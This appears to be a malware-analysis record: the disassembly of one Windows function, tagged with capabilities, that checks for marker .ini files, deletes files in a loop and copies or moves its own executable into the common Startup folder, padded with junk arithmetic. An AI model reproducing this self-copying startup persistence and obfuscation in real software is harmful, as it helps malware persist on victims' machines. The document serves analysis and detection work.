Function at 0x40e720
Capabilities:
Copy file
Delete file
Get common file path
Get startup folder
Move file
Write file to startup folder

Disassembly:
sub esp, 0x30c
mov eax, dword [0x460640]
xor eax, esp
mov dword [esp + 0x308], eax
push ebx
push ebp
push esi
push edi
mov ecx, dword [0x45ebd0]
mov eax, 0x98f19603
imul ecx
add edx, ecx
sar edx, 0x13
mov ebx, dword [0x45ebc4]
mov ebp, edx
mov eax, ebx
imul eax, eax, 0xbae55
shr ebp, 0x1f
add ebp, edx
add ebp, eax
mov esi, dword [0x45ebcc]
mov eax, 0x4adacc0f
imul esi
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebp, eax
mov edx, esi
imul edx, edx, 0x10a7ca
add ebp, edx
mov edi, dword [0x45ebe4]
mov eax, 0x64ddc525
imul edi
sar edx, 0x12
mov eax, edx
add ebp, edx
mov edx, dword [0x45ebc8]
imul edx, edx, 0xf08a4
shr eax, 0x1f
add eax, ebp
add eax, edx
mov dword [0x45ebdc], eax
mov eax, 0x98f19603
imul edi
add edx, edi
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x85097d5b
imul ecx
sar edx, 0x12
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x7d19681
imul ebx
sub ecx, edi
sar edx, 0xe
add ecx, edx
mov edi, edx
mov edx, dword [0x45ebd8]
imul edx, edx, 0xa26ed
shr edi, 0x1f
add edi, ecx
mov ecx, dword [0x45ebd4]
sub edi, edx
imul ecx, ecx, 0x180656
mov eax, 0x64ddc525
imul esi
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
add eax, ecx
push 0
push str.C:Program_FilesMicrosoftSeaPort1.ini
mov dword [0x45ebe4], eax
call fcn.00431ebd
add esp, 8
cmp eax, 0xffffffff
je 0x40ed30
push 0
push str.C:Program_FilesWindows_NTAccessOries1.ini
call fcn.00431ebd
add esp, 8
cmp eax, 0xffffffff
je 0x40ed30
mov ecx, dword [0x45ebd0]
mov esi, dword [0x45ebe0]
mov eax, 0x1ec1ffc5
imul ecx
mov ecx, dword [0x45ebd8]
sar edx, 0x10
imul ecx, ecx, 0xbae55
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, esi
imul edi, edi, 0x16c72
mov ebx, eax
sub ebx, edi
add ebx, ecx
mov ecx, dword [0x45ebe4]
mov eax, 0xaf53e355
imul ecx
add edx, ecx
mov ecx, dword [0x45ebdc]
sar edx, 0x13
mov edi, edx
add ebx, edx
mov eax, 0x4adacc0f
imul esi
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
shr edi, 0x1f
add edi, ebx
sub edi, eax
mov eax, 0x441d07d
imul ecx
sar edx, 0xe
mov ecx, edx
add edi, edx
push 0x104
lea edx, [esp + 0x21c]
shr ecx, 0x1f
push edx
add ecx, edi
push 0
mov dword [0x45ebc8], ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x218]
push 0x5c
push eax
call fcn.00432920
push str..exe
lea ecx, [esp + 0x224]
push ecx
lea edx, [esp + 0x28]
mov esi, eax
push str._s_s
push edx
inc esi
call fcn.00431b21
mov ecx, dword [0x45ebe8]
mov eax, 0x98f19603
imul ecx
add edx, ecx
mov edi, ecx
mov ecx, dword [0x45ebc4]
imul edi, edi, 0x6e773
sar edx, 0x13
imul ecx, ecx, 0xd63fb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
sub edi, ecx
mov ecx, dword [0x45ebd0]
mov eax, 0x7d19681
imul ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
add esp, 0x18
sub edi, eax
mov ecx, dword [0x45ebd8]
mov eax, 0xaf53e355
imul ecx
mov eax, dword [0x45ebe0]
add edx, ecx
sar edx, 0x13
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x45ebe4]
imul edx, edx, 0xdae0a
add ecx, eax
add ecx, edi
push 0
lea eax, [edx + ecx - 0xbae55]
push 0x18
lea ecx, [esp + 0x120]
push ecx
push 0
mov dword [0x45ebd0], eax
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [esp + 0x118]
lea ecx, [eax + 1]
jmp 0x40e9c0
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x40e9c0
sub eax, ecx
push esi
lea edx, [esp + eax + 0x11c]
push 0x44f274
push edx
call fcn.00431b21
mov ecx, dword [0x45ebc4]
mov ebx, dword [0x45ebe8]
mov eax, 0x4a28aa57
imul ecx
sar edx, 0x11
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov esi, dword [0x45ebc8]
mov eax, 0x1ec1ffc5
imul ebx
sar edx, 0x10
add ecx, edx
mov edi, edx
mov edx, ebx
imul edx, edx, 0xbae55
shr edi, 0x1f
add edi, ecx
sub edi, edx
mov eax, 0x64ddc525
imul esi
sar edx, 0x12
mov ecx, esi
imul ecx, ecx, 0xa26ed
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
add edi, ecx
mov ecx, dword [0x45ebe0]
mov eax, 0x2a9f6a15
imul ecx
sar edx, 0x11
mov ecx, edx
add edi, edx
shr ecx, 0x1f
add ecx, edi
mov edi, dword [0x45ebcc]
mov edx, edi
imul edx, edx, 0xc032b
add esp, 0xc
sub ecx, edx
mov dword [0x45ebd8], ecx
mov dword [esp + 0x10], 0
jmp 0x40ea90
mov esi, dword [0x45ebc8]
mov edi, dword [0x45ebcc]
mov ecx, dword [0x45ebd8]
mov ebx, dword [0x45ebe8]
lea ecx, [ecx]
mov ebp, dword [0x45ebd0]
imul esi, esi, 0x6e773
imul edi, edi, 0xbae55
mov edx, dword [0x45ebd4]
imul ecx, ecx, 0xf08a4
mov eax, ebp
sub eax, edx
imul eax, eax, 0x82f7d
add eax, esi
mov dword [esp + 0x14], eax
mov eax, 0x7af682a5
imul ebx
mov eax, dword [esp + 0x14]
sar edx, 0x12
add eax, edx
mov esi, edx
shr esi, 0x1f
add esi, eax
mov eax, 0x7d19681
imul ebp
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
sub esi, edi
add esi, ecx
lea ecx, [esp + 0x18]
push 0
push ecx
mov dword [0x45ebe0], esi
call fcn.00431ebd
add esp, 8
cmp eax, 0xffffffff
je 0x40eb23
lea edx, [esp + 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [esp + 0x10]
inc eax
cmp eax, 0x64
mov dword [esp + 0x10], eax
jl 0x40ea75
mov ecx, dword [0x45ebd8]
mov eax, dword [0x45ebd0]
mov edi, dword [0x45ebd4]
mov esi, dword [0x45ebc8]
lea ebx, [ecx + eax]
imul ebx, ebx, 0x852b6
mov edx, edi
imul edx, edx, 0xbae55
mov eax, ecx
imul eax, eax, 0xa26ed
sub ebx, edx
add ebx, eax
mov eax, 0x64ddc525
imul esi
sar edx, 0x12
add ebx, edx
mov ebp, edx
mov eax, 0x441d07d
imul ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
shr ebp, 0x1f
add ebp, ebx
mov ebx, dword [esp + 0x320]
sub ebp, eax
mov eax, 0x2a9f6a15
imul dword [0x45ebdc]
sar edx, 0x11
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebp, eax
test ebx, ebx
mov dword [0x45ebe8], ebp
je 0x40ebae
cmp ebx, 2
jne 0x40ec75
mov esi, dword [sym.imp.KERNEL32.dll_MoveFileExA]
push 4
lea ecx, [esp + 0x11c]
push ecx
lea edx, [esp + 0x20]
push edx
call esi
test eax, eax
mov ecx, dword [0x45ebd8]
jne 0x40ec69
mov eax, 0x98f19603
imul ecx
add edx, ecx
mov ecx, dword [0x45ebcc]
sar edx, 0x13
mov edi, edx
shr edi, 0x1f
add edi, edx
mov eax, 0x98f19603
imul ecx
add edx, ecx
mov ecx, dword [0x45ebd4]
sar edx, 0x13
mov ebx, edx
add edi, edx
mov eax, 0x7af682a5
imul ecx
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45ebe0]
imul edx, edx, 0x852b6
shr ebx, 0x1f
add ebx, edi
sub ebx, eax
sub ebx, edx
mov eax, 0x64ddc525
imul ecx
mov ecx, dword [0x45ebdc]
imul ecx, ecx, 0x14957d
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
add eax, ecx
push 6
lea edx, [esp + 0x11c]
mov dword [0x45ebc4], eax
push edx
lea eax, [esp + 0x20]
push eax
call esi
mov eax, 0xfffffffe
jmp 0x40ed33
mov esi, dword [0x45ebc8]
mov edi, dword [0x45ebd4]
mov ebp, dword [0x45ebc4]
mov eax, 0x98f19603
imul ebp, ebp, 0x6e773
imul ecx
add edx, ecx
sar edx, 0x13
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x98f19603
imul esi
add edx, esi
sar edx, 0x13
sub ebp, ecx
mov ecx, dword [0x45ebe0]
add ebp, edx
mov esi, edx
mov eax, 0x7af682a5
imul ecx
sar edx, 0x12
shr esi, 0x1f
add esi, ebp
add esi, edx
mov ecx, edx
mov eax, 0x7d19681
imul dword [0x45ebdc]
shr ecx, 0x1f
add ecx, esi
sar edx, 0xe
add ecx, edx
mov esi, edx
mov eax, 0xaf53e355
imul edi
add edx, edi
shr esi, 0x1f
add esi, ecx
sar edx, 0x13
add esi, edx
mov ecx, edx
mov eax, 0x4adacc0f
imul dword [0x45ebd0]
sar edx, 0x12
shr ecx, 0x1f
mov eax, edx
shr eax, 0x1f
add ecx, esi
add eax, edx
sub ecx, eax
cmp ebx, 1
mov dword [0x45ebcc], ecx
je 0x40ed17
cmp ebx, 2
jne 0x40ed2c
push 0
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0x220]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
xor eax, eax
jmp 0x40ed33
or eax, 0xffffffff
mov ecx, dword [esp + 0x318]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0043194d
add esp, 0x30c
ret